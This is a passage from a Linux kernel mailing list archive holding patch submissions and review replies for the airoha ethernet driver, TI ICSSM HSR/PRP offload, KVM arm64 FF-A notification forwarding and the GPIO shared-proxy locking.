From: Lorenzo Bianconi @ 2026-06-16 12:35 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161132384.2164449.18407700117859190327@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1430 bytes --]
> In airoha_qdma_init_qos_stats(), the Tx-fwd counter was incorrectly
> using register index (i << 1) instead of ((i << 1) + 1). This caused
> the Tx-fwd configuration to overwrite the Tx-cpu configuration for
> each QoS channel, resulting in incorrect QoS statistics.
>
> Fix by using the correct register index ((i << 1) + 1) for Tx-fwd
> counter configuration.
>
> Fixes: 20bf7d07c956 ("net: airoha: Add sched ETS offload support")
> Signed-off-by: Wayen Yan <win847@gmail.com>
Is this a patch you already sent? IIRC I have acked it.
Regards,
Lorenzo
> ---
> drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
> 1 file changed, 1 insertion(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
> index 31cdb11cd7..329988a840 100644
> --- a/drivers/net/ethernet/airoha/airoha_eth.c
> +++ b/drivers/net/ethernet/airoha/airoha_eth.c
> @@ -1256,7 +1256,7 @@ static void airoha_qdma_init_qos_stats(struct airoha_qdma *qdma)
> FIELD_PREP(CNTR_CHAN_MASK, i));
> /* Tx-fwd transferred count */
> airoha_qdma_wr(qdma, REG_CNTR_VAL((i << 1) + 1), 0);
> - airoha_qdma_wr(qdma, REG_CNTR_CFG(i << 1),
> + airoha_qdma_wr(qdma, REG_CNTR_CFG((i << 1) + 1),
> CNTR_EN_MASK | CNTR_ALL_QUEUE_EN_MASK |
> CNTR_ALL_DSCP_RING_EN_MASK |
> FIELD_PREP(CNTR_SRC_MASK, 1) |
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH v2] [net] net: airoha: Stop TX queues on error path in airoha_dev_open
From: Lorenzo Bianconi @ 2026-06-16 12:37 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161146875.2165143.7400860261990016053@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1453 bytes --]
> In airoha_dev_open(), if airoha_set_vip_for_gdm_port() fails after
> netif_tx_start_all_queues() has been called, the TX queues remain
> started while the device configuration is incomplete. This leaves
> the device in an inconsistent state where packets could be
> transmitted before the VIP/IFC port configuration is complete.
>
> Add netif_tx_stop_all_queues() call on the error path to properly
> roll back the TX queue state.
>
> Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
> Signed-off-by: Wayen Yan <win847@gmail.com>
> ---
> drivers/net/ethernet/airoha/airoha_eth.c | 4 +++-
> 1 file changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
> index 31cdb11cd7..cf9c366907 100644
> --- a/drivers/net/ethernet/airoha/airoha_eth.c
> +++ b/drivers/net/ethernet/airoha/airoha_eth.c
> @@ -1715,8 +1715,10 @@ static int airoha_dev_open(struct net_device *dev)
>
> netif_tx_start_all_queues(dev);
> err = airoha_set_vip_for_gdm_port(port, true);
> - if (err)
> + if (err) {
> + netif_tx_stop_all_queues(dev);
I do not think this is necessary since if ndo_open() callback fails, the
net_device is not marked as running.
Regards,
Lorenzo
> return err;
> + }
>
> if (netdev_uses_dsa(dev))
> airoha_fe_set(qdma->eth, REG_GDM_INGRESS_CFG(port->id),
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH net-next 3/3] net: ti: icssm-prueth: Support duplicate HW offload feature for HSR and PRP
From: Parvathi Pudi @ 2026-06-16 12:38 UTC (permalink / raw)
To: Jakub Kicinski
Cc: Parvathi Pudi, andrew+netdev, davem, edumazet, pabeni,
danishanwar, rogerq, pmohan, afd, basharath, arnd, linux-kernel,
netdev, linux-arm-kernel, pratheesh, j-rameshbabu,
Vignesh Raghavendra, praneeth, srk, rogerq, m-malladi, krishna,
mohan
In-Reply-To: <20260615135600.655e4be4@kernel.org>
Hi,
> On Thu, 11 Jun 2026 18:03:28 +0530 Parvathi Pudi wrote:
>> From: Roger Quadros <rogerq@ti.com>
>>
>> In HSR and PRP modes each outgoing frame must be sent on both PRU slave
>> ports.
>>
>> Previously the driver was writing the frame into each port's transmit queue
>> independently after updating the tags resulting in performing two OCMC
>> buffer copy operations.
>>
>> Frame duplicate offloading is implemented with a common shared queue
>> between the two ports. The driver writes the frame once into OCMC RAM,
>> each port reads from the shared queue and replicates the transmission to
>> both PRU ports, synchronising between PRU ports are maintained within
>> firmware with appropriate handling.
>>
>> For HSR the driver inspects the encapsulated ethertype in the HSR tag.
>> PTP frames (ETH_P_1588) are sent on the directed port only to avoid double
>> duplication and all other HSR frames are duplicated to both ports.
>> VLAN-tagged HSR frames are handled by advancing past the 4-byte VLAN header
>> before reading the HSR tag.
>>
>> For PRP the driver checks the 6-byte RCT trailer for the ETH_P_PRP suffix
>> to identify redundancy-tagged frames. Frames without an RCT are sent on the
>> originating port only.
>
> Warning: drivers/net/ethernet/ti/icssm/icssm_prueth.h:113 struct member
> 'host_recv_flag' not described in 'prueth_packet_info'
>
We will address this in the next version.
> Please note that net-next will be closed for the next two weeks.
Also noted regarding the net-next closure. We will post the updated series
once the tree reopens.
Thanks and Regards,
Parvathi.
^ permalink raw reply
* Re: [PATCH net-next 0/3] Introduce HSR/PRP HW offload support for PRU-ICSSM Ethernet driver
From: Parvathi Pudi @ 2026-06-16 12:40 UTC (permalink / raw)
To: Simon Horman
Cc: Parvathi Pudi, andrew+netdev, davem, edumazet, kuba, pabeni,
danishanwar, rogerq, pmohan, afd, basharath, arnd, linux-kernel,
netdev, linux-arm-kernel, pratheesh, j-rameshbabu,
Vignesh Raghavendra, praneeth, srk, rogerq, m-malladi, krishna,
mohan
In-Reply-To: <20260612200102.GN671640@horms.kernel.org>
Hi,
> On Thu, Jun 11, 2026 at 06:03:25PM +0530, Parvathi Pudi wrote:
>> Hi,
>>
>> This series introduces HSR and PRP protocol HW offload support for
>> ICSSM-Prueth driver. HW offload support for HSR/PRP is implemented using
>> dedicated HSR/PRP firmware running on 2 PRU cores(PRU-ICSS) as a "DAN"
>> available in AM57xx, AM437x and AM335x.
>
> Hi Parvathi,
>
> There is AI-generated review of this patch-set available on
> https://sashiko.dev
>
> I would appreciate it if you could look over that with a view
> to addressing any issues that directly affect this patch-set.
Sure. We will review the sashiko feedback for this patch series and
address any findings that are directly relevant in the next version.
Thanks and Regards,
Parvathi.
^ permalink raw reply
* Re: [PATCH v3 1/7] KVM: arm64: Support FFA_NOTIFICATION_BITMAP_CREATE in host handler
From: Vincent Donnefort @ 2026-06-16 12:40 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-3-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:09AM +0000, Sebastian Ene wrote:
> Allow FF-A notification bitmap creation messages to be forwarded to
> Trustzone from the host and introduce a helper to check for SBZ
> register fields.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 36 ++++++++++++++++++++++++++++++++++-
> 1 file changed, 35 insertions(+), 1 deletion(-)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index 1af722771178..b1e5f9ee86ef 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -71,6 +71,18 @@ static u32 hyp_ffa_version;
> static bool has_version_negotiated;
> static hyp_spinlock_t version_lock;
>
> +static bool ffa_check_unused_args_sbz(struct kvm_cpu_context *ctxt, int first_reg)
> +{
> + int reg;
> +
> + for (reg = first_reg; reg < 17; reg++) {
> + if (cpu_reg(ctxt, reg))
> + return true;
> + }
> +
> + return false;
> +}
> +
Hum, there's something a bit weird, as this function was introduced already in
the previous patch. (and both have the same number)
> static void ffa_to_smccc_error(struct arm_smccc_1_2_regs *res, u64 ffa_errno)
> {
> *res = (struct arm_smccc_1_2_regs) {
> @@ -676,7 +688,6 @@ static bool ffa_call_supported(u64 func_id)
> case FFA_MEM_DONATE:
> case FFA_MEM_RETRIEVE_REQ:
> /* Optional notification interfaces added in FF-A 1.1 */
> - case FFA_NOTIFICATION_BITMAP_CREATE:
> case FFA_NOTIFICATION_BITMAP_DESTROY:
> case FFA_NOTIFICATION_BIND:
> case FFA_NOTIFICATION_UNBIND:
> @@ -862,6 +873,26 @@ static void do_ffa_part_get(struct arm_smccc_1_2_regs *res,
> hyp_spin_unlock(&host_buffers.lock);
> }
>
> +static void do_ffa_notif_bitmap(struct arm_smccc_1_2_regs *res,
> + struct kvm_cpu_context *ctxt)
> +{
> + DECLARE_REG(u32, vmid, ctxt, 1);
> + struct arm_smccc_1_2_regs *args;
> +
> + if (ffa_check_unused_args_sbz(ctxt, 3)) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + if (vmid != HOST_FFA_ID) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + args = (void *)&ctxt->regs.regs[0];
> + hyp_smccc_1_2_smc(args, res);
> +}
> +
> bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> {
> struct arm_smccc_1_2_regs res;
> @@ -920,6 +951,9 @@ bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> case FFA_PARTITION_INFO_GET:
> do_ffa_part_get(&res, host_ctxt);
> goto out_handled;
> + case FFA_NOTIFICATION_BITMAP_CREATE:
> + do_ffa_notif_bitmap(&res, host_ctxt);
> + goto out_handled;
> }
>
> if (ffa_call_supported(func_id))
> --
> 2.54.0.1099.g489fc7bff1-goog
>
^ permalink raw reply
* [PATCH net v3] net: airoha: Fix skb->priority underflow in airoha_dev_select_queue()
From: Wayen Yan @ 2026-06-13 23:30 UTC (permalink / raw)
To: netdev
Cc: lorenzo, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In airoha_dev_select_queue(), the expression:
queue = (skb->priority - 1) % AIROHA_NUM_QOS_QUEUES;
implicitly converts to unsigned arithmetic: when skb->priority is 0
(the default for unclassified traffic), (0u - 1u) wraps to UINT_MAX,
and UINT_MAX % 8 = 7, routing default best-effort packets to the
highest-priority QoS queue. This causes QoS inversion where the
majority of traffic on a PON gateway starves actual high-priority
flows (VoIP, gaming, etc.).
Fix by guarding the subtraction: when priority is 0, map to queue 0
(lowest priority), otherwise apply the original (priority - 1) % 8
mapping.
Fixes: 2b288b81560b ("net: airoha: Introduce ndo_select_queue callback")
Acked-by: Lorenzo Bianconi <lorenzo@kernel.org>
Reviewed-by: Joe Damato <joe@dama.to>
Signed-off-by: Wayen Yan <win847@gmail.com>
---
drivers/net/ethernet/airoha/airoha_eth.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
index 31cdb11cd7..d476ef83c3 100644
--- a/drivers/net/ethernet/airoha/airoha_eth.c
+++ b/drivers/net/ethernet/airoha/airoha_eth.c
@@ -1933,7 +1933,7 @@ static u16 airoha_dev_select_queue(struct net_device *dev, struct sk_buff *skb,
*/
channel = netdev_uses_dsa(dev) ? skb_get_queue_mapping(skb) : port->id;
channel = channel % AIROHA_NUM_QOS_CHANNELS;
- queue = (skb->priority - 1) % AIROHA_NUM_QOS_QUEUES; /* QoS queue */
+ queue = skb->priority ? (skb->priority - 1) % AIROHA_NUM_QOS_QUEUES : 0;
queue = channel * AIROHA_NUM_QOS_QUEUES + queue;
return queue < dev->num_tx_queues ? queue : 0;
--
2.51.0
^ permalink raw reply related
* Re: [PATCH v3 2/7] KVM: arm64: Forward FFA_NOTIFICATION_BITMAP calls to Trustzone
From: Vincent Donnefort @ 2026-06-16 12:42 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-4-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:10AM +0000, Sebastian Ene wrote:
> Allow FF-A notification bitmap messages to be forwarded to
> Trustzone from the host kernel driver enforce checking for
> SBZ fields.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 28 ++++++++++++++++++++++++++--
> 1 file changed, 26 insertions(+), 2 deletions(-)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index c723a21006aa..dc7496ec295f 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -713,8 +713,6 @@ static bool ffa_call_supported(u64 func_id)
> case FFA_MEM_DONATE:
> case FFA_MEM_RETRIEVE_REQ:
> /* Optional notification interfaces added in FF-A 1.1 */
> - case FFA_NOTIFICATION_BITMAP_CREATE:
> - case FFA_NOTIFICATION_BITMAP_DESTROY:
> case FFA_NOTIFICATION_BIND:
> case FFA_NOTIFICATION_UNBIND:
> case FFA_NOTIFICATION_SET:
> @@ -909,6 +907,28 @@ static void do_ffa_part_get(struct arm_smccc_1_2_regs *res,
> hyp_spin_unlock(&host_buffers.lock);
> }
>
> +static void do_ffa_notif_bitmap(struct arm_smccc_1_2_regs *res,
> + struct kvm_cpu_context *ctxt)
> +{
> + DECLARE_REG(u32, func_id, ctxt, 0);
> + DECLARE_REG(u32, vmid, ctxt, 1);
> + struct arm_smccc_1_2_regs *args;
> + u32 idx_unused_args = func_id == FFA_NOTIFICATION_BITMAP_CREATE ? 3 : 2;
nit: should probably better expressed as a int as this is the type in the
ffa_check_unused_args_sbz proto.
Perhaps you can even fold that directly into the ffa_check_unused_args_sbz()
call?
> +
> + if (ffa_check_unused_args_sbz(ctxt, idx_unused_args)) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + if (vmid != HOST_FFA_ID) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + args = (void *)&ctxt->regs.regs[0];
> + hyp_smccc_1_2_smc(args, res);
> +}
> +
> bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> {
> struct arm_smccc_1_2_regs res;
> @@ -967,6 +987,10 @@ bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> case FFA_PARTITION_INFO_GET:
> do_ffa_part_get(&res, host_ctxt);
> goto out_handled;
> + case FFA_NOTIFICATION_BITMAP_CREATE:
> + case FFA_NOTIFICATION_BITMAP_DESTROY:
> + do_ffa_notif_bitmap(&res, host_ctxt);
> + goto out_handled;
> }
>
> if (ffa_call_supported(func_id))
> --
> 2.54.0.1136.gdb2ca164c4-goog
>
^ permalink raw reply
* Re: [PATCH v3 2/7] KVM: arm64: Support FFA_NOTIFICATION_BITMAP_DESTROY in host handler
From: Vincent Donnefort @ 2026-06-16 12:43 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-5-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:11AM +0000, Sebastian Ene wrote:
> Allow FF-A notification bitmap destruction messages to be forwarded to
> Trustzone from the host.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 6 ++++--
> 1 file changed, 4 insertions(+), 2 deletions(-)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index b1e5f9ee86ef..49a43c38a931 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -688,7 +688,6 @@ static bool ffa_call_supported(u64 func_id)
> case FFA_MEM_DONATE:
> case FFA_MEM_RETRIEVE_REQ:
> /* Optional notification interfaces added in FF-A 1.1 */
> - case FFA_NOTIFICATION_BITMAP_DESTROY:
> case FFA_NOTIFICATION_BIND:
> case FFA_NOTIFICATION_UNBIND:
> case FFA_NOTIFICATION_SET:
> @@ -876,10 +875,12 @@ static void do_ffa_part_get(struct arm_smccc_1_2_regs *res,
> static void do_ffa_notif_bitmap(struct arm_smccc_1_2_regs *res,
> struct kvm_cpu_context *ctxt)
> {
> + DECLARE_REG(u32, func_id, ctxt, 0);
> DECLARE_REG(u32, vmid, ctxt, 1);
> struct arm_smccc_1_2_regs *args;
> + u32 idx_unused_args = func_id == FFA_NOTIFICATION_BITMAP_CREATE ? 3 : 2;
Hum, this one applies weirdly too as it's been introduced in the previous patch
already.
>
> - if (ffa_check_unused_args_sbz(ctxt, 3)) {
> + if (ffa_check_unused_args_sbz(ctxt, idx_unused_args)) {
> ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> return;
> }
> @@ -952,6 +953,7 @@ bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> do_ffa_part_get(&res, host_ctxt);
> goto out_handled;
> case FFA_NOTIFICATION_BITMAP_CREATE:
> + case FFA_NOTIFICATION_BITMAP_DESTROY:
> do_ffa_notif_bitmap(&res, host_ctxt);
> goto out_handled;
> }
> --
> 2.54.0.1099.g489fc7bff1-goog
>
^ permalink raw reply
* Re: [PATCH v2] [net] net: airoha: Clean up RX queues in airoha_dev_stop
From: Lorenzo Bianconi @ 2026-06-16 12:45 UTC (permalink / raw)
To: Wayen Yan
Cc: netdev, horms, pabeni, kuba, edumazet, andrew+netdev,
angelogioacchino.delregno, matthias.bgg, linux-arm-kernel,
linux-mediatek
In-Reply-To: <178161160256.2165161.14322392784449633554@gmail.com>
[-- Attachment #1: Type: text/plain, Size: 1861 bytes --]
On Jun 16, Wayen Yan wrote:
> When the last port is stopped, airoha_dev_stop() clears TX queues
> but neglects to clean up RX queues. This can lead to:
> - RX ring buffer descriptors remaining valid after device close
> - Potential DMA synchronization issues on device reopen
> - Risk of use-after-free if pages are freed while DMA is still active
>
> Add cleanup loop for RX queues to mirror the TX queue cleanup,
> ensuring symmetric resource management.
>
> Fixes: 23020f049327 ("net: airoha: Introduce ethernet support for EN7581 SoC")
> Signed-off-by: Wayen Yan <win847@gmail.com>
when you send a new revision:
- please add a note of what you changed with respect to the previous one.
- please give some time to reviewers to take a look to the previous revision.
> ---
> drivers/net/ethernet/airoha/airoha_eth.c | 7 +++++++
> 1 file changed, 7 insertions(+)
>
> diff --git a/drivers/net/ethernet/airoha/airoha_eth.c b/drivers/net/ethernet/airoha/airoha_eth.c
> index 31cdb11cd7..9ca5bbf64d 100644
> --- a/drivers/net/ethernet/airoha/airoha_eth.c
> +++ b/drivers/net/ethernet/airoha/airoha_eth.c
> @@ -1771,6 +1771,13 @@ static int airoha_dev_stop(struct net_device *dev)
>
> airoha_qdma_cleanup_tx_queue(&qdma->q_tx[i]);
> }
> +
> + for (i = 0; i < ARRAY_SIZE(qdma->q_rx); i++) {
> + if (!qdma->q_rx[i].ndesc)
> + continue;
> +
> + airoha_qdma_cleanup_rx_queue(&qdma->q_rx[i]);
> + }
> }
I do not think this patch is needed since there is no point to remove all the
RX buffers from the hw RX queues stopping the device, this is necessary just
removing the module (I think we can avoid it for TX too, I have a patch for it
I need to post).
Moreover, doing so, when the device is opened again, RX queues will be empty.
Regards,
Lorenzo
>
> return 0;
> --
> 2.51.0
>
>
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 228 bytes --]
^ permalink raw reply
* Re: [PATCH v3 7/7] KVM: arm64: Support FFA_NOTIFICATION_INFO_GET in host handler
From: Vincent Donnefort @ 2026-06-16 12:47 UTC (permalink / raw)
To: Sebastian Ene
Cc: catalin.marinas, maz, oupton, will, joey.gouly, korneld, kvmarm,
linux-arm-kernel, linux-kernel, android-kvm, mrigendra.chaubey,
perlarsen, suzuki.poulose, yuzenghui
In-Reply-To: <20260616105417.2578670-10-sebastianene@google.com>
On Tue, Jun 16, 2026 at 10:54:16AM +0000, Sebastian Ene wrote:
> Allow the host to query the FF-A notifiction status and proxy the info
> get message to Trustzone. Make sure that the SBZ fields are enforced.
>
> Signed-off-by: Sebastian Ene <sebastianene@google.com>
> ---
> arch/arm64/kvm/hyp/nvhe/ffa.c | 19 +++++++++++++++++--
> 1 file changed, 17 insertions(+), 2 deletions(-)
>
> diff --git a/arch/arm64/kvm/hyp/nvhe/ffa.c b/arch/arm64/kvm/hyp/nvhe/ffa.c
> index 549250ff8f82..dac30a5fcf5a 100644
> --- a/arch/arm64/kvm/hyp/nvhe/ffa.c
> +++ b/arch/arm64/kvm/hyp/nvhe/ffa.c
> @@ -714,8 +714,6 @@ static bool ffa_call_supported(u64 func_id)
> case FFA_RXTX_MAP:
> case FFA_MEM_DONATE:
> case FFA_MEM_RETRIEVE_REQ:
> - /* Optional notification interfaces added in FF-A 1.1 */
> - case FFA_NOTIFICATION_INFO_GET:
> /* Optional interfaces added in FF-A 1.2 */
> case FFA_MSG_SEND_DIRECT_REQ2: /* Optional per 7.5.1 */
> case FFA_MSG_SEND_DIRECT_RESP2: /* Optional per 7.5.1 */
> @@ -1020,6 +1018,20 @@ static void do_ffa_notif_get(struct arm_smccc_1_2_regs *res,
> arm_smccc_1_2_smc(args, res);
> }
>
> +static void do_ffa_notif_info_get(struct arm_smccc_1_2_regs *res,
> + struct kvm_cpu_context *ctxt)
> +{
> + struct arm_smccc_1_2_regs *args;
> +
> + if (ffa_check_unused_args_sbz(ctxt, 1)) {
> + ffa_to_smccc_res(res, FFA_RET_INVALID_PARAMETERS);
> + return;
> + }
> +
> + args = (void *)&ctxt->regs.regs[0];
> + arm_smccc_1_2_smc(args, res);
hyp_smccc_1_2_smc()
ditto FFA_NOTIFICATION_GET, FFA_NOTIFICATION_SET, FFA_NOTIFICATION_UNBIND
> +}
> +
> bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> {
> struct arm_smccc_1_2_regs res;
> @@ -1094,6 +1106,9 @@ bool kvm_host_ffa_handler(struct kvm_cpu_context *host_ctxt, u32 func_id)
> case FFA_NOTIFICATION_GET:
> do_ffa_notif_get(&res, host_ctxt);
> goto out_handled;
> + case FFA_NOTIFICATION_INFO_GET:
> + do_ffa_notif_info_get(&res, host_ctxt);
> + goto out_handled;
> }
>
> if (ffa_call_supported(func_id))
> --
> 2.54.0.1136.gdb2ca164c4-goog
>
^ permalink raw reply
* Re: [PATCH 1/2] gpio: shared-proxy: always serialize with a sleeping mutex
From: Bartosz Golaszewski @ 2026-06-16 12:53 UTC (permalink / raw)
To: Viacheslav Bocharov
Cc: Neil Armstrong, Kevin Hilman, Jerome Brunet, Martin Blumenstingl,
Marek Szyprowski, Robin Murphy, Diederik de Haas, linux-gpio,
linux-arm-kernel, linux-amlogic, linux-kernel, Linus Walleij,
Bartosz Golaszewski
In-Reply-To: <20260610153329.937833-2-v@baodeep.com>
On Wed, 10 Jun 2026 17:32:10 +0200, Viacheslav Bocharov <v@baodeep.com> said:
> The shared GPIO descriptor used either a mutex or a spinlock, chosen at
> runtime from the underlying chip's can_sleep:
>
> shared_desc->can_sleep = gpiod_cansleep(shared_desc->desc);
> ... if (can_sleep) mutex_lock(); else spin_lock_irqsave();
>
> can_sleep describes only the value path (->get/->set). Under the same
> lock, however, the proxy may call gpiod_set_config() and
> gpiod_direction_*(), which can reach pinctrl paths that take a mutex
> (e.g. gpiod_set_config() -> gpiochip_generic_config() ->
> pinctrl_gpio_set_config()), independent of can_sleep. On a controller
> with non-sleeping MMIO value ops the descriptor lock was a spinlock, so
> the sleeping pinctrl call ran from atomic context. Reproduced on an
> Amlogic A113X board with the workaround from commit 28f240683871
> ("pinctrl: meson: mark the GPIO controller as sleeping") reverted; the
> original Khadas VIM3 report hit the same path:
>
> BUG: sleeping function called from invalid context
> __mutex_lock
> pinctrl_get_device_gpio_range
> pinctrl_gpio_set_config
> gpiochip_generic_config
> gpiod_set_config
> gpio_shared_proxy_set_config <- voting spinlock held
> ...
> mmc_pwrseq_simple_probe
>
> The spinlock existed to take the value vote from atomic context, but the
> vote and the (possibly sleeping) control operations share the same state
> and lock, so this scheme cannot serialize config under a mutex and still
> offer atomic value access. Always serialize the shared descriptor with a
> mutex instead and mark the proxy a sleeping gpiochip, driving the
> underlying GPIO through the cansleep value accessors: those are valid
> for both sleeping and non-sleeping chips, so value access keeps working
> on fast controllers, at the cost of no longer being atomic.
>
> This is observable: consumers gating on gpiod_cansleep() take their
> sleeping branch on a proxied GPIO (mmc-pwrseq-emmc skips its
> emergency-restart reset handler; its normal reset is unaffected), and
> consumers that reject sleeping GPIOs (pwm-gpio, ps2-gpio, ...) would
> fail to probe. Such atomic users do not share a pin through the proxy,
> whose purpose is voting on shared reset/enable lines. The same narrowing
> already applies on Amlogic since that workaround, and rockchip
> addressed the identical splat per-driver in commit 7ca497be0016 ("gpio:
> rockchip: Stop calling pinctrl for set_direction"); fixing the proxy
> addresses the locking error once, for every controller.
>
> The lock type was added by commit a060b8c511ab ("gpiolib: implement
> low-level, shared GPIO support"); the sleeping call under it arrived with
> the proxy driver.
>
> Fixes: e992d54c6f97 ("gpio: shared-proxy: implement the shared GPIO proxy driver")
> Reported-by: Marek Szyprowski <m.szyprowski@samsung.com>
> Closes: https://lore.kernel.org/all/00107523-7737-4b92-a785-14ce4e93b8cb@samsung.com/
> Signed-off-by: Viacheslav Bocharov <v@baodeep.com>
> ---
Sigh... Ok let's try this. This limits users of shared pins to using them from
process context exclusively but maybe there is in fact no need to do it from
atomic context. After all: bit-banging can't work if we're using the voting
mechanism.
>
> drivers/gpio/gpio-shared-proxy.c | 43 +++++++-------------------------
> drivers/gpio/gpiolib-shared.c | 9 ++-----
> drivers/gpio/gpiolib-shared.h | 31 +++++++++--------------
> 3 files changed, 23 insertions(+), 60 deletions(-)
>
> diff --git a/drivers/gpio/gpio-shared-proxy.c b/drivers/gpio/gpio-shared-proxy.c
> index 6941e4be6cf1..856e5b9d6163 100644
> --- a/drivers/gpio/gpio-shared-proxy.c
> +++ b/drivers/gpio/gpio-shared-proxy.c
> @@ -109,7 +109,7 @@ static void gpio_shared_proxy_free(struct gpio_chip *gc, unsigned int offset)
>
> if (proxy->voted_high) {
> ret = gpio_shared_proxy_set_unlocked(proxy,
> - shared_desc->can_sleep ? gpiod_set_value_cansleep : gpiod_set_value, 0);
> + gpiod_set_value_cansleep, 0);
> if (ret)
> dev_err(proxy->dev,
> "Failed to unset the shared GPIO value on release: %d\n", ret);
> @@ -222,13 +222,6 @@ static int gpio_shared_proxy_direction_output(struct gpio_chip *gc,
> return gpio_shared_proxy_set_unlocked(proxy, gpiod_direction_output, value);
> }
>
> -static int gpio_shared_proxy_get(struct gpio_chip *gc, unsigned int offset)
> -{
> - struct gpio_shared_proxy_data *proxy = gpiochip_get_data(gc);
> -
> - return gpiod_get_value(proxy->shared_desc->desc);
> -}
> -
> static int gpio_shared_proxy_get_cansleep(struct gpio_chip *gc,
> unsigned int offset)
> {
> @@ -237,29 +230,15 @@ static int gpio_shared_proxy_get_cansleep(struct gpio_chip *gc,
> return gpiod_get_value_cansleep(proxy->shared_desc->desc);
> }
>
> -static int gpio_shared_proxy_do_set(struct gpio_shared_proxy_data *proxy,
> - int (*set_func)(struct gpio_desc *desc, int value),
> - int value)
> -{
> - guard(gpio_shared_desc_lock)(proxy->shared_desc);
> -
> - return gpio_shared_proxy_set_unlocked(proxy, set_func, value);
> -}
> -
> -static int gpio_shared_proxy_set(struct gpio_chip *gc, unsigned int offset,
> - int value)
> -{
> - struct gpio_shared_proxy_data *proxy = gpiochip_get_data(gc);
> -
> - return gpio_shared_proxy_do_set(proxy, gpiod_set_value, value);
> -}
> -
> static int gpio_shared_proxy_set_cansleep(struct gpio_chip *gc,
> unsigned int offset, int value)
> {
> struct gpio_shared_proxy_data *proxy = gpiochip_get_data(gc);
>
> - return gpio_shared_proxy_do_set(proxy, gpiod_set_value_cansleep, value);
> + guard(gpio_shared_desc_lock)(proxy->shared_desc);
> +
> + return gpio_shared_proxy_set_unlocked(proxy, gpiod_set_value_cansleep,
> + value);
> }
>
> static int gpio_shared_proxy_get_direction(struct gpio_chip *gc,
> @@ -302,20 +281,16 @@ static int gpio_shared_proxy_probe(struct auxiliary_device *adev,
> gc->label = dev_name(dev);
> gc->parent = dev;
> gc->owner = THIS_MODULE;
> - gc->can_sleep = shared_desc->can_sleep;
> + /* Always a sleeping gpiochip: see the lock comment in gpiolib-shared.h. */
> + gc->can_sleep = true;
>
> gc->request = gpio_shared_proxy_request;
